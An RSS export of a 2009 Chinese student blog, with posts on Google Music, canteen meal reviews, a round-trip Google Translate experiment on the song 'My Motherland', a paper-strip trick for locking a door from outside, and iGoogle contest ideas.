<p>用可爱的<a href="http://www.google.cn/music/songscreener">泡泡</a>来挑歌,你可以从如下方面挑选你喜欢类型的歌曲<img class="size-full wp-image-876 alignright" title="谷歌音乐的音乐选择" src="http://meiyou.org/wp-content/uploads/2009/07/2009-7-9-15-19-05.png" alt="谷歌音乐的音乐选择" width="243" height="441" /></p>
<p>从图上可以看到,<strong>节奏</strong>从舒缓到强烈,如果你是要学习或者静下心来想东西,选择舒缓的节奏可能比较适合你,如果你比较亢奋,那强烈的节奏可能更能满足你;其他 的可选项有:声调,音色,年代,歌手,流派,语言等.如果你不了解具体的音乐知识,那您可以勾除后面的”对号”,只选择那些你了解到内容.</p>
<p>缩小选择范围去查找那些你喜欢的类型吧!</p>
<p><img class="size-full wp-image-877 alignnone" title="谷歌音乐的音乐专题" src="http://meiyou.org/wp-content/uploads/2009/07/2009-7-9-15-32-02.png" alt="谷歌音乐的音乐专题" width="478" height="319" /></p>
<h3>法宝四:各种主题歌曲全奉献,五谷杂粮不偏食!</h3>
<p>面对形形色色的歌曲,和你一样,不知道选择哪个更好.那好,那我们就把任务交给谷歌音乐去做吧,让谷歌音乐来帮我们分类,把同一类型的歌曲,分门别类的给我们”打好包”.</p>
<p>其实,音乐何尝不是一种修养,总听某一种类型的歌曲,就会陷入同一种思维当中,这时候就要我们来开拓视野,找到适合自己类型的歌曲,去尝试新鲜的,陌生的歌曲,找到真正的慰藉.</p>
<p><span style="color: #ff0000;"><strong>谷歌音乐,我的音乐!</strong></span></p>
<hr />做的还是比较邋遢,见谅啊各位.</p>
<hr />
<p><small>© 郭一实 for <a href="http://meiyou.org">meiyou.org</a>, 2009. |
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		<title>大一生活(饭菜篇.兰州拉面.0504更新)</title>
		<link>http://meiyou.org/2009/04/freshman-lanzhou-food/</link>
		<comments>http://meiyou.org/2009/04/freshman-lanzhou-food/#comments</comments>
		<pubDate>Thu, 23 Apr 2009 15:37:51 +0000</pubDate>
		<dc:creator>郭一实</dc:creator>
				<category><![CDATA[个人爱好]]></category>
		<category><![CDATA[大一生活]]></category>

		<guid isPermaLink="false">http://meiyou.org/?p=505</guid>
		<description><![CDATA[呵呵,大学生活真是"无聊",尤其是在我们这个小小的南区,生活除了宿舍就是教学楼,再有就是我们的食堂,长春理工大学第四食堂.

以下就记录我在大一生活中在我们这个食堂的所吃所想,权当娱乐.呵呵.]]></description>
			<content:encoded><![CDATA[<p>呵呵,大学生活真是&#8221;无聊&#8221;,尤其是在我们这个小小的南区,生活除了宿舍就是教学楼,再有就是我们的食堂,<strong>长春理工大学</strong>第四食堂.</p>
<p>以下就记录我在大一生活中在我们这个食堂的所吃所想,权当娱乐.呵呵.</p>
<h2><em>店铺介绍</em></h2>
<h3>兰州正宗牛肉拉面</h3>
<p>这家做的饭菜很&#8221;诚实&#8221;,较喜欢.</p>
<p><a rel="attachment wp-att-506" href="http://meiyou.org/2009/04/freshman-lanzhou-food/image149_neo_img/"><img class="alignnone size-full wp-image-506" title="长春理工大学 兰州正宗牛肉拉面" src="http://meiyou.org/wp-content/uploads/2009/04/image149_neo_img.jpg" alt="长春理工大学 兰州正宗牛肉拉面" width="640" height="480" /></a></p>
<p><a rel="attachment wp-att-509" href="http://meiyou.org/2009/04/freshman-lanzhou-food/image153_neo_img/"><img class="alignnone size-full wp-image-509" title="兰州拉面 汤面类列表" src="http://meiyou.org/wp-content/uploads/2009/04/image153_neo_img.jpg" alt="兰州拉面 汤面类列表" width="640" height="480" /></a></p>
<p><a rel="attachment wp-att-510" href="http://meiyou.org/2009/04/freshman-lanzhou-food/image151_neo_img/"><img class="alignnone size-full wp-image-510" title="兰州拉面 盖浇饭" src="http://meiyou.org/wp-content/uploads/2009/04/image151_neo_img.jpg" alt="兰州拉面 盖浇饭" width="640" height="480" /></a></p>
Note: There is a poll embedded within this post, please visit the site to participate in this post's poll.
<h3>20090423 &#8211; 晚饭 &#8211; 蛋炒饭</h3>
<p><strong>店铺</strong>:兰州拉面</p>
<p><strong>价格</strong>:4元</p>
<p><strong>评论</strong>:感觉比较实惠,尤其是其中的胡萝卜丁,颜色也比较纯正,而且不是很腻.</p>
<p><a rel="attachment wp-att-511" href="http://meiyou.org/2009/04/freshman-lanzhou-food/image154_neo_img/"><img class="alignnone size-full wp-image-511" title="兰州拉面 蛋炒饭" src="http://meiyou.org/wp-content/uploads/2009/04/image154_neo_img.jpg" alt="兰州拉面 蛋炒饭" width="480" height="640" /></a></p>
<p><a rel="attachment wp-att-512" href="http://meiyou.org/2009/04/freshman-lanzhou-food/image155_neo_img/"><img class="alignnone size-full wp-image-512" title="长春理工大学 第四食堂 蛋炒饭 近景" src="http://meiyou.org/wp-content/uploads/2009/04/image155_neo_img.jpg" alt="长春理工大学 第四食堂 蛋炒饭 近景" width="640" height="480" /></a></p>
<h3>20090424 &#8211; 午饭 &#8211; 扬州炒饭</h3>
<p><strong>店铺</strong>:兰州拉面</p>
<p><strong>价格</strong>:5元</p>
<p><strong>评论</strong>:貌似是蛋炒饭的升级版,只是在饭上添了几个火腿片,还不如买蛋炒饭实惠呢,不值那一元钱的差价.</p>
<p><a rel="attachment wp-att-528" href="http://meiyou.org/2009/04/freshman-lanzhou-food/image162_neo_img/"><img class="alignnone size-full wp-image-528" title="扬州炒饭" src="http://meiyou.org/wp-content/uploads/2009/04/image162_neo_img.jpg" alt="扬州炒饭" width="480" height="640" /></a></p>
<h3>20090504 &#8211; 晚饭 &#8211; 青椒炒肉盖浇饭</h3>
<p><strong>店铺</strong>:兰州拉面</p>
<p><strong>价格</strong>:5元</p>
<p><strong>评论</strong>:应该说这是一个青椒炒青椒的盖浇饭,呵呵,肉真的很少,但是味道还是可以的.就是&#8221;水&#8221;多些.</p>
<p><a href="http://meiyou.org/wp-content/uploads/2009/04/green-pepper-beef-rice-1.jpg"><img class="alignnone size-medium wp-image-610" title="兰州拉面 青椒炒肉盖浇饭" src="http://meiyou.org/wp-content/uploads/2009/04/green-pepper-beef-rice-1-640x480.jpg" alt="兰州拉面 青椒炒肉盖浇饭" width="640" height="480" /></a></p>
<p><a href="http://meiyou.org/wp-content/uploads/2009/04/green-pepper-beef-rice-2.jpg"><img class="alignnone size-medium wp-image-611" title="青椒炒肉盖浇饭" src="http://meiyou.org/wp-content/uploads/2009/04/green-pepper-beef-rice-2-640x480.jpg" alt="青椒炒肉盖浇饭" width="640" height="480" /></a></p>
<hr />
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		<title>被Google翻译N次后的《我的祖国》</title>
		<link>http://meiyou.org/2009/04/translate-my-motherland/</link>
		<comments>http://meiyou.org/2009/04/translate-my-motherland/#comments</comments>
		<pubDate>Mon, 20 Apr 2009 05:01:23 +0000</pubDate>
		<dc:creator>郭一实</dc:creator>
				<category><![CDATA[古怪创意]]></category>

		<guid isPermaLink="false">http://meiyou.org/?p=477</guid>
		<description><![CDATA[突然想做个实验,用Google翻译来翻译句子,看看被N次来回翻译以后会有什么结果.]]></description>
			<content:encoded><![CDATA[<p>突然想做个实验,用<a title="谷歌翻译" href="http://translate.google.cn/">Google翻译</a>来翻译句子,看看被N次来回翻译以后会有什么结果:</p>
<p><strong>原句:</strong></p>
<p>《我的祖国》<br />
一条大河波浪宽/风吹稻花香两岸/我家就在岸上住/听惯了艄公的号子/看惯了船上的白帆</p>
<p>一条大河波浪宽/风吹稻花香两岸/我家就在岸上住/听惯了艄公的号子/看惯了船上的白帆</p>
<p>这是美丽的祖国/是我生长的地方/在这片辽阔的土地上/到处都有明媚的风光</p>
<p>姑娘好像花儿一样/小伙儿心胸多宽广/为了开辟新天地/唤醒了沉睡的高山/让那河流改变了模样</p>
<p>这是英雄的祖国/是我生长的地方/在这片古老的土地上/到处都有青春的力量</p>
<p>好山好水好地方/条条大路都宽畅/朋友来了有好酒/若是那豺狼来了/迎接它的有猎枪</p>
<p>这是强大的祖国/是我生长的地方/在这片温暖的土地上/到处都有灿烂的阳光</p>
<p><strong>第一次翻译:</strong></p>
<p>&#8220;My Motherland&#8221;<br />
A river wide wave / wind and cross-strait rice flower / my family to live on the shore /艄公got used to the number of sub / look at the white sail boat used to</p>
<p>A river wide wave / wind and cross-strait rice flower / my family to live on the shore /艄公got used to the number of sub / look at the white sail boat used to</p>
<p>This is a beautiful country / is where I grew up / in this vast land / beautiful scenery everywhere</p>
<p>Girls seem to like the flowers / young children and more broad-minded / to break new ground / wake up the sleeping mountain / river so that it changed the shape</p>
<p>This is the hero&#8217;s mother / is where I grew up / in this ancient land / the strength of youth everywhere</p>
<p>好山好水a good place / every road are spacious / friends to a wine / If the wolves come / to greet it with shotgun</p>
<p>This is a strong country / is where I grew up / in this land of warm / bright sun everywhere</p>
<p><strong>第二次翻译:</strong></p>
<p>“我的祖国”<br />
河流全波/风和两岸稻花/我的家人住在岸上/艄公习惯的人数分/看看白色帆船用来</p>
<p>河流全波/风和两岸稻花/我的家人住在岸上/艄公习惯的人数分/看看白色帆船用来</p>
<p>这是一个美丽的国家/是我长大的/在这广阔的土地/美景处处</p>
<p>女孩都喜欢的花/幼儿和更广泛的想法/新的突破/唤醒沉睡的山区/河，以便它改变形状</p>
<p>这是英雄的母亲/是我长大的/在这片古老的土地/力量的青年到处</p>
<p>好山好水好地方/每道宽敞/朋友葡萄酒/如果狼来/迎接它鸟枪</p>
<p>这是一个强大的国家/是我长大的/在这片土地的热情/灿烂的阳光到处</p>
<p><strong>第三次翻译:</strong></p>
<p>&#8220;My Motherland&#8221;<br />
The river full-wave / wind and cross-strait rice flower / my family to live on land /艄公the number of points used to / used to see the white boat</p>
<p>The river full-wave / wind and cross-strait rice flower / my family to live on land /艄公the number of points used to / used to see the white boat</p>
<p>This is a beautiful country / is what I grew up / in this vast land / scenery everywhere</p>
<p>Like a flower girl / child care and a wider range of ideas / new breakthroughs / wake up the sleeping mountain / river, so that it changes the shape of</p>
<p>This is the mother of a hero / I grew up / in this ancient land / the power of young people everywhere</p>
<p>好山好水a good place / each spacious / friends Wine / If the wolf / meet its shotgun</p>
<p>This is a strong country / is what I grew up / in this land of warm / bright sun everywhere</p>
<p><strong>第四次翻译:</strong></p>
<p>“我的祖国”<br />
这条河全波/风和两岸稻花/我的家庭生活在陆地上/艄公的点数用来/用来见白船</p>
<p>这条河全波/风和两岸稻花/我的家庭生活在陆地上/艄公的点数用来/用来见白船</p>
<p>这是一个美丽的国家/是我长大的/在这广阔的土地/景观处处</p>
<p>像花童/幼儿及更广泛的想法/新的突破/唤醒沉睡的山区/河，所以，它的形状变化</p>
<p>这是一个英雄的母亲/我长大/在这片古老的土地/权力的世界各地的青年人</p>
<p>好山好水好地方/每个宽敞/朋友葡萄酒/如果狼/满足其鸟枪</p>
<p>这是一个强大的国家/是我长大的/在这片土地的热情/灿烂的阳光到处</p>
<p><strong>第五次翻译:</strong></p>
<p>&#8220;My Motherland&#8221;<br />
The river-wide wave / wind and cross-strait rice flower / my family living in the land /艄公points used to / used to see white boat</p>
<p>The river-wide wave / wind and cross-strait rice flower / my family living in the land /艄公points used to / used to see white boat</p>
<p>This is a beautiful country / is what I grew up / in this vast land / landscape everywhere</p>
<p>Like a flower girl / child care and a wider range of ideas / new breakthroughs / wake up the sleeping mountain / river, so that it changes the shape of</p>
<p>This is the mother of a hero / I grew up / in this ancient land / the power of young people around the world</p>
<p>好山好水a good place / each spacious / friends Wine / If the wolf / meet their shotgun</p>
<p>This is a strong country / is what I grew up / in this land of warm / bright sun everywhere</p>
<p><strong>第六次翻译:</strong></p>
<p>“我的祖国”<br />
这条河全波/风和两岸稻花/我的家庭生活在土地/艄公点用来/用来见白色的船</p>
<p>这条河全波/风和两岸稻花/我的家庭生活在土地/艄公点用来/用来见白色的船</p>
<p>这是一个美丽的国家/是我长大的/在这广阔的土地/景观处处</p>
<p>像花童/幼儿及更广泛的想法/新的突破/唤醒沉睡的山区/河，所以，它的形状变化</p>
<p>这是一个英雄的母亲/我长大/在这片古老的土地/权力的世界各地的年轻人</p>
<p>好山好水好地方/每个宽敞/朋友葡萄酒/如果狼/满足他们的猎枪</p>
<p>这是一个强大的国家/是我长大的/在这片土地的热情/灿烂的阳光到处</p>
<p><strong>第七次翻译:</strong></p>
<p>&#8220;My Motherland&#8221;<br />
The river-wide wave / wind and cross-strait rice flower / my family living in the land /艄公point to / to see the white boat</p>
<p>The river-wide wave / wind and cross-strait rice flower / my family living in the land /艄公point to / to see the white boat</p>
<p>This is a beautiful country / is what I grew up / in this vast land / landscape everywhere</p>
<p>Like a flower girl / child care and a wider range of ideas / new breakthroughs / wake up the sleeping mountain / river, so that it changes the shape of</p>
<p>This is the mother of a hero / I grew up / in this ancient land / the power of young people around the world</p>
<p>好山好水a good place / each spacious / friends Wine / if wolves / hunting to meet their</p>
<p>This is a strong country / is what I grew up / in this land of warm / bright sun everywhere</p>
<p><strong>第八次翻译:</strong></p>
<p>“我的祖国”<br />
这条河全波/风和两岸稻花/我的家庭生活在土地/艄公指向/看到白色的船</p>
<p>这条河全波/风和两岸稻花/我的家庭生活在土地/艄公指向/看到白色的船</p>
<p>这是一个美丽的国家/是我长大的/在这广阔的土地/景观处处</p>
<p>像花童/幼儿及更广泛的想法/新的突破/唤醒沉睡的山区/河，所以，它的形状变化</p>
<p>这是一个英雄的母亲/我长大/在这片古老的土地/权力的世界各地的年轻人</p>
<p>好山好水好地方/每个宽敞/朋友葡萄酒/如果狼/狩猎以满足他们的</p>
<p>这是一个强大的国家/是我长大的/在这片土地的热情/灿烂的阳光到处</p>
<p>&#8230; &#8230;</p>
<p><strong>第N次翻译:</strong></p>
<p>剩下的如果想玩了话,自己弄吧,在次就略了.</p>
<p>(如果那一天,再来翻译这样的句子可以没有这么大出入,翻来覆去都是一样的结果,或者一样可以理解的话,那么就太智能了)</p>
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		<title>没有钥匙怎样从外面把门反锁?图文教程</title>
		<link>http://meiyou.org/2009/03/how-to-lock-the-door-from-the-outside-without-key/</link>
		<comments>http://meiyou.org/2009/03/how-to-lock-the-door-from-the-outside-without-key/#comments</comments>
		<pubDate>Tue, 31 Mar 2009 10:22:34 +0000</pubDate>
		<dc:creator>郭一实</dc:creator>
				<category><![CDATA[古怪创意]]></category>

		<guid isPermaLink="false">http://meiyou.org/?p=204</guid>
		<description><![CDATA[今天要把教室的反锁，但是发现没有带钥匙，只好想个办法把门从外面反锁，具体步骤如下：]]></description>
			<content:encoded><![CDATA[<p>今天要把教室的反锁，但是发现没有带钥匙，只好想个办法把门从外面反锁，具体步骤如下：</p>
<h3>第一步:准备相关工具</h3>
<p>你所需要的工具其实就两个，一个是废旧报纸，另一个就是胶带。其实这两个都可以用其他的代替，看后面的步骤你就知道怎么是什么个意思了。</p>
<p><a rel="attachment wp-att-205" href="http://meiyou.org/2009/03/how-to-lock-the-door-from-the-outside-without-key/image082_neo_img/"><img class="alignnone size-full wp-image-205" title="准备工具:报纸和胶带" src="http://meiyou.org/wp-content/uploads/2009/03/image082_neo_img.jpg" alt="准备工具:报纸和胶带" width="480" height="640" /></a></p>
<p>然后，裁剪出较长的一个纸带，如下：</p>
<p><a rel="attachment wp-att-206" href="http://meiyou.org/2009/03/how-to-lock-the-door-from-the-outside-without-key/image083_neo_img/"><img class="alignnone size-full wp-image-206" title="折出一个长边" src="http://meiyou.org/wp-content/uploads/2009/03/image083_neo_img.jpg" alt="折出一个长边" width="480" height="640" /></a></p>
<p><a rel="attachment wp-att-210" href="http://meiyou.org/2009/03/how-to-lock-the-door-from-the-outside-without-key/image084_neo_img/"><img class="alignnone size-full wp-image-210" title="折叠出这个长边" src="http://meiyou.org/wp-content/uploads/2009/03/image084_neo_img.jpg" alt="折叠出这个长边" width="480" height="640" /></a></p>
<p>裁剪出来：</p>
<p><a rel="attachment wp-att-211" href="http://meiyou.org/2009/03/how-to-lock-the-door-from-the-outside-without-key/image085_neo_img/"><img class="alignnone size-full wp-image-211" title="裁剪,用手就可以了,不需要很精确" src="http://meiyou.org/wp-content/uploads/2009/03/image085_neo_img.jpg" alt="裁剪,用手就可以了,不需要很精确" width="480" height="640" /></a></p>
<p><a rel="attachment wp-att-212" href="http://meiyou.org/2009/03/how-to-lock-the-door-from-the-outside-without-key/image086_neo_img/"><img class="alignnone size-full wp-image-212" title="裁剪出来的报纸长条." src="http://meiyou.org/wp-content/uploads/2009/03/image086_neo_img.jpg" alt="裁剪出来的报纸长条." width="480" height="640" /></a></p>
<p>将得到的长条，折叠成可以绑东西的“长带”，如下：</p>
<p><a rel="attachment wp-att-213" href="http://meiyou.org/2009/03/how-to-lock-the-door-from-the-outside-without-key/image087_neo_img/"><img class="alignnone size-full wp-image-213" title="得到的长条" src="http://meiyou.org/wp-content/uploads/2009/03/image087_neo_img.jpg" alt="得到的长条" width="480" height="640" /></a></p>
<p>折叠:</p>
<p><a rel="attachment wp-att-214" href="http://meiyou.org/2009/03/how-to-lock-the-door-from-the-outside-without-key/image088_neo_img/"><img class="alignnone size-full wp-image-214" title="折叠" src="http://meiyou.org/wp-content/uploads/2009/03/image088_neo_img.jpg" alt="折叠" width="480" height="640" /></a></p>
<p><a rel="attachment wp-att-215" href="http://meiyou.org/2009/03/how-to-lock-the-door-from-the-outside-without-key/image089_neo_img/"><img class="alignnone size-full wp-image-215" title="得到我们的长条纸绳" src="http://meiyou.org/wp-content/uploads/2009/03/image089_neo_img.jpg" alt="得到我们的长条纸绳" width="480" height="640" /></a></p>
<p>以上我们的准备工作算是做好了,之所以要这样用报纸弄出所需长条绳,是因为我们假设你是在很&#8221;艰苦&#8221;的条件下进行门反锁的,如果工具很充分的话,我想你就可以用钥匙锁住你的门了.</p>
<h3>第二步:确定观察&#8221;地形&#8221;</h3>
<p>在进行下一步之前,你需要确定,你的门是类似下面这种门型,更确切的说是类似下面这种锁子,带有把手的门,这种门现在应用比较普遍,我的作用对象也是以它来举例:</p>
<p><a rel="attachment wp-att-217" href="http://meiyou.org/2009/03/how-to-lock-the-door-from-the-outside-without-key/image091_neo_img/"><img class="alignnone size-full wp-image-217" title="带有长把手的门" src="http://meiyou.org/wp-content/uploads/2009/03/image091_neo_img.jpg" alt="带有长把手的门" width="480" height="640" /></a></p>
<p>确定是这样的锁子:</p>
<p><a rel="attachment wp-att-218" href="http://meiyou.org/2009/03/how-to-lock-the-door-from-the-outside-without-key/image092_neo_img/"><img class="alignnone size-full wp-image-218" title="这样结构的锁子" src="http://meiyou.org/wp-content/uploads/2009/03/image092_neo_img.jpg" alt="这样结构的锁子" width="480" height="640" /></a></p>
<p>这种上面有个长柄,下面是用来反锁的,扭动的话将会变成如下这样:</p>
<p><a rel="attachment wp-att-219" href="http://meiyou.org/2009/03/how-to-lock-the-door-from-the-outside-without-key/image093_neo_img/"><img class="alignnone size-full wp-image-219" title="扭动的话,将出来防盗锁" src="http://meiyou.org/wp-content/uploads/2009/03/image093_neo_img.jpg" alt="扭动的话,将出来防盗锁" width="480" height="640" /></a></p>
<p>我们所要针对也就是这样的构件,因为,如果你是在外面,很难同时关上这个锁子,根本不能&#8221;关好门&#8221;,我们现在就来正式解决这个问题!看招!</p>
<h3>第三步:从内锁住你的门</h3>
<p>首先,需要缠绕住下面的小锁子:</p>
<p><a rel="attachment wp-att-222" href="http://meiyou.org/2009/03/how-to-lock-the-door-from-the-outside-without-key/image094_neo_img/"><img class="alignnone size-full wp-image-222" title="用力缠绕住这个&quot;转动器&quot;" src="http://meiyou.org/wp-content/uploads/2009/03/image094_neo_img.jpg" alt="用力缠绕住这个&quot;转动器&quot;" width="480" height="640" /></a></p>
<p>当缠绕上面的东西的时候,请尽量<strong>不要</strong>使用胶带之类的可以牢固锁定的东西,以免到后面难脱落.</p>
<p><a rel="attachment wp-att-223" href="http://meiyou.org/2009/03/how-to-lock-the-door-from-the-outside-without-key/image095_neo_img/"><img class="alignnone size-full wp-image-223" title="确定缠绕,并已经使纸绳绷紧" src="http://meiyou.org/wp-content/uploads/2009/03/image095_neo_img.jpg" alt="确定缠绕,并已经使纸绳绷紧" width="480" height="640" /></a></p>
<p>但与此同时,请不要太过用力,以免使防盗锁打开.</p>
<p>然后下压上面的手柄:</p>
<p><a rel="attachment wp-att-224" href="http://meiyou.org/2009/03/how-to-lock-the-door-from-the-outside-without-key/image097_neo_img/"><img class="alignnone size-full wp-image-224" title="手抓纸绳,同时尽力下压手柄" src="http://meiyou.org/wp-content/uploads/2009/03/image097_neo_img.jpg" alt="手抓纸绳,同时尽力下压手柄" width="480" height="640" /></a></p>
<p>尽可能的按压,使门柄的旋转达到饱和:</p>
<p><a rel="attachment wp-att-225" href="http://meiyou.org/2009/03/how-to-lock-the-door-from-the-outside-without-key/image098_neo_img/"><img class="alignnone size-full wp-image-225" title="用力按压" src="http://meiyou.org/wp-content/uploads/2009/03/image098_neo_img.jpg" alt="用力按压" width="640" height="480" /></a></p>
<p>这样按压的效果可以提升旋转时对保险锁定旋转力度.</p>
<p>然后,你所要做的就是尽可能用力缠绕住这个手柄,但是同时要确保纸绳不被扯断:</p>
<p><a rel="attachment wp-att-226" href="http://meiyou.org/2009/03/how-to-lock-the-door-from-the-outside-without-key/image100_neo_img/"><img class="alignnone size-full wp-image-226" title="缠绕完毕" src="http://meiyou.org/wp-content/uploads/2009/03/image100_neo_img.jpg" alt="缠绕完毕" width="640" height="480" /></a></p>
<p>缠绕完毕以后,就要用到我们的第二个工具,胶带,把接口部分粘贴好,但是,同时要尽量确保胶带没有粘贴到门上或者门柄上,之所以这样,是因为,这个东西是可以在门外旋转时自动脱离的,所以,最好只粘贴纸张,不要和其他物体接触.</p>
<p><a rel="attachment wp-att-227" href="http://meiyou.org/2009/03/how-to-lock-the-door-from-the-outside-without-key/image102_neo_img/"><img class="alignnone size-full wp-image-227" title="粘贴完毕" src="http://meiyou.org/wp-content/uploads/2009/03/image102_neo_img.jpg" alt="粘贴完毕" width="480" height="640" /></a></p>
<p>完成缠绕:</p>
<p><a rel="attachment wp-att-229" href="http://meiyou.org/2009/03/how-to-lock-the-door-from-the-outside-without-key/image107_neo_img/"><img class="alignnone size-full wp-image-229" title="完成的门内&quot;装置&quot;" src="http://meiyou.org/wp-content/uploads/2009/03/image107_neo_img.jpg" alt="完成的门内&quot;装置&quot;" width="480" height="640" /></a></p>
<h3>第四步:&#8221;关门大吉&#8221;</h3>
<p>这时其实还应该使劲按住门外的手柄,以免门内的&#8221;装置&#8221;受损:</p>
<p><a rel="attachment wp-att-228" href="http://meiyou.org/2009/03/how-to-lock-the-door-from-the-outside-without-key/image104_neo_img/"><img class="alignnone size-full wp-image-228" title="用力按住门外的手柄" src="http://meiyou.org/wp-content/uploads/2009/03/image104_neo_img.jpg" alt="用力按住门外的手柄" width="480" height="640" /></a></p>
<p>现在你就可以松开门内的&#8221;装置&#8221;,用力按住外面对手柄.</p>
<p><a rel="attachment wp-att-230" href="http://meiyou.org/2009/03/how-to-lock-the-door-from-the-outside-without-key/image105_neo_img/"><img class="alignnone size-full wp-image-230" title="用力按住门外手柄" src="http://meiyou.org/wp-content/uploads/2009/03/image105_neo_img.jpg" alt="用力按住门外手柄" width="480" height="640" /></a></p>
<p>至此,已经大功告成,现在需要做的仅仅是把门关上:</p>
<p><a rel="attachment wp-att-231" href="http://meiyou.org/2009/03/how-to-lock-the-door-from-the-outside-without-key/image106_neo_img/"><img class="alignnone size-full wp-image-231" title="关上门" src="http://meiyou.org/wp-content/uploads/2009/03/image106_neo_img.jpg" alt="关上门" width="480" height="640" /></a></p>
<p><a rel="attachment wp-att-232" href="http://meiyou.org/2009/03/how-to-lock-the-door-from-the-outside-without-key/image108_neo_img/"><img class="alignnone size-full wp-image-232" title="大功告成" src="http://meiyou.org/wp-content/uploads/2009/03/image108_neo_img.jpg" alt="大功告成" width="480" height="640" /></a></p>
<p>当门关上以后,松开手柄,门锁会自动上锁,但是同时你还要用力摇晃,确保纸绳断裂(当然,最好断裂掉下来)</p>
<p><a rel="attachment wp-att-233" href="http://meiyou.org/2009/03/how-to-lock-the-door-from-the-outside-without-key/image109_neo_img/"><img class="alignnone size-full wp-image-233" title="&quot;关门大吉&quot;" src="http://meiyou.org/wp-content/uploads/2009/03/image109_neo_img.jpg" alt="&quot;关门大吉&quot;" width="480" height="640" /></a></p>
<p>如果一切顺利的话,此时这个门应该是被关住了.</p>
<h3>第五步:检验成果</h3>
<p>门被正常反锁:</p>
<p><a rel="attachment wp-att-234" href="http://meiyou.org/2009/03/how-to-lock-the-door-from-the-outside-without-key/image113_neo_img/"><img class="alignnone size-full wp-image-234" title="门被反锁" src="http://meiyou.org/wp-content/uploads/2009/03/image113_neo_img.jpg" alt="门被反锁" width="480" height="640" /></a></p>
<p>掉下来的纸绳:</p>
<p><a rel="attachment wp-att-235" href="http://meiyou.org/2009/03/how-to-lock-the-door-from-the-outside-without-key/image115_neo_img/"><img class="alignnone size-full wp-image-235" title="掉下的纸绳" src="http://meiyou.org/wp-content/uploads/2009/03/image115_neo_img.jpg" alt="掉下的纸绳" width="480" height="640" /></a></p>
<p><a rel="attachment wp-att-236" href="http://meiyou.org/2009/03/how-to-lock-the-door-from-the-outside-without-key/image116_neo_img/"><img class="alignnone size-full wp-image-236" title="纸绳已经破损" src="http://meiyou.org/wp-content/uploads/2009/03/image116_neo_img.jpg" alt="纸绳已经破损" width="480" height="640" /></a></p>
<p>至此,所有步骤已经完成,</p>
<p>以上仅供娱乐,如需模仿,请事先带好钥匙,以免真的进不去门了再.</p>
<p>[原创作品,如转载请注明来源:<a title="meiyou.org" href="http://meiyou.org" target="_blank">meiyou.org</a>]</p>
<hr />
<p><small>© 郭一实 for <a href="http://meiyou.org">meiyou.org</a>, 2009. |
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		<title>iGoogle创新大赛之我的点子</title>
		<link>http://meiyou.org/2009/03/igoogle/</link>
		<comments>http://meiyou.org/2009/03/igoogle/#comments</comments>
		<pubDate>Sun, 22 Mar 2009 03:21:56 +0000</pubDate>
		<dc:creator>郭一实</dc:creator>
				<category><![CDATA[个人爱好]]></category>
		<category><![CDATA[Google]]></category>
		<category><![CDATA[iGoogle]]></category>
		<category><![CDATA[竞赛]]></category>
		<category><![CDATA[谷歌]]></category>

		<guid isPermaLink="false">http://meiyou.org/?p=105</guid>
		<description><![CDATA[一直很欣赏谷歌的风格,最近听说有iGoogle创新大赛,于是就想出来几个点子.]]></description>
			<content:encoded><![CDATA[<p>一直很欣赏谷歌的风格,最近听说有<a title="iGoogle 中国大学生创新设计大赛" href="http://www.google.cn/daxue" target="_blank">iGoogle创新大赛</a>,于是就想出来几个点子.</p>
<p><span style="color: #993300;"><strong>点子之一[更环保更节省空间]:</strong></span></p>
<p>人们常说:世界上不仅仅只有黑与白,还可能存在灰色.</p>
<p>这就像在iGoogle上,不仅仅可以让用户选择某个插件,删除某个插件.更可以让用户把认为不是很重要的插件拖放到一个小的空间里存放,当用户感觉需要的时候再拖动出来,以节省空间.如图:</p>
<p><a href="http://meiyou.org/wp-content/uploads/2009/03/2009-3-22-11-41-46-e582a8e789a9e7aeb1.jpg"><img class="alignnone size-full wp-image-109" title="以储物箱的形式存储插件." src="http://meiyou.org/wp-content/uploads/2009/03/2009-3-22-11-41-46-e582a8e789a9e7aeb1.jpg" alt="以储物箱的形式存储插件." width="640" height="302" /></a></p>
<p>或者用另外一个方法,我们可以在插件的右上角添加一个&#8221;<strong>最小化</strong>&#8220;按钮,把相关的插件最小化,用列表的方式显示插件.用以节省空间.如图:</p>
<p><a href="http://meiyou.org/wp-content/uploads/2009/03/2009-3-22-11-41-46-e69c80e5b08fe58c96.jpg"><img class="alignnone size-full wp-image-110" title="最小化以节省空间" src="http://meiyou.org/wp-content/uploads/2009/03/2009-3-22-11-41-46-e69c80e5b08fe58c96.jpg" alt="最小化以节省空间" width="640" height="302" /></a></p>
<p><strong><span style="color: #993300;">点子之二[倒计时]:</span></strong></p>
<p>原理很简单,就是在iGoogle的页面上添加倒计时的插件,比如高考倒计时,女朋友生日倒计时,春节倒计时,&#8230; &#8230;虽然很简单,但是非常的有用.如图:</p>
<p>用户可以自己设置日期的<strong>颜色</strong>,<strong>大小</strong>,和<strong>显示格式</strong>,如XX天XX小时XX分,XX天,XX小时XX分,还可以用英文格式:XX hours XX min</p>
<p><a rel="attachment wp-att-112" href="http://meiyou.org/2009/03/igoogle/2009-3-22-11-41-46-e58092e8aea1e697b6/"><img class="alignnone size-full wp-image-112" title="iGoogle倒计时插件之高考倒计时" src="http://meiyou.org/wp-content/uploads/2009/03/2009-3-22-11-41-46-e58092e8aea1e697b6.jpg" alt="iGoogle倒计时插件之高考倒计时" width="640" height="302" /></a></p>
<p>不同格式的选择,比如只选择天数:</p>
<p><a rel="attachment wp-att-113" href="http://meiyou.org/2009/03/igoogle/2009-3-22-11-41-46-e58092e8aea1e697b62/"><img class="alignnone size-full wp-image-113" title="iGoogle倒计时插件之不同格式的现实" src="http://meiyou.org/wp-content/uploads/2009/03/2009-3-22-11-41-46-e58092e8aea1e697b62.jpg" alt="iGoogle倒计时插件之不同格式的现实" width="640" height="302" /></a></p>
<p>不同格式的选择举例二,只显示小时和分钟:</p>
<p><a rel="attachment wp-att-114" href="http://meiyou.org/2009/03/igoogle/2009-3-22-11-41-46-e58092e8aea1e697b63/"><img class="alignnone size-full wp-image-114" title="iGoogle倒计时插件不同格式举例二" src="http://meiyou.org/wp-content/uploads/2009/03/2009-3-22-11-41-46-e58092e8aea1e697b63.jpg" alt="iGoogle倒计时插件不同格式举例二" width="640" height="302" /></a></p>
<p>当然上面那个倒计时的风险系数比较高,如果让老板看见,就Over了.</p>
<p>如果要实现上面那种天天或者是每个星期的倒计时,需要让用户选择是否<strong>重复</strong>倒计时,和重复的频率(天,周,月).</p>
<p>还有,最好可以把这个插件上的内容整合到<strong><a title="Google 日历" href="http://www.google.com/intl/zh-CN/googlecalendar/overview.html" target="_blank">谷歌日历</a></strong>上.或者是有选择的整合到日历上.</p>
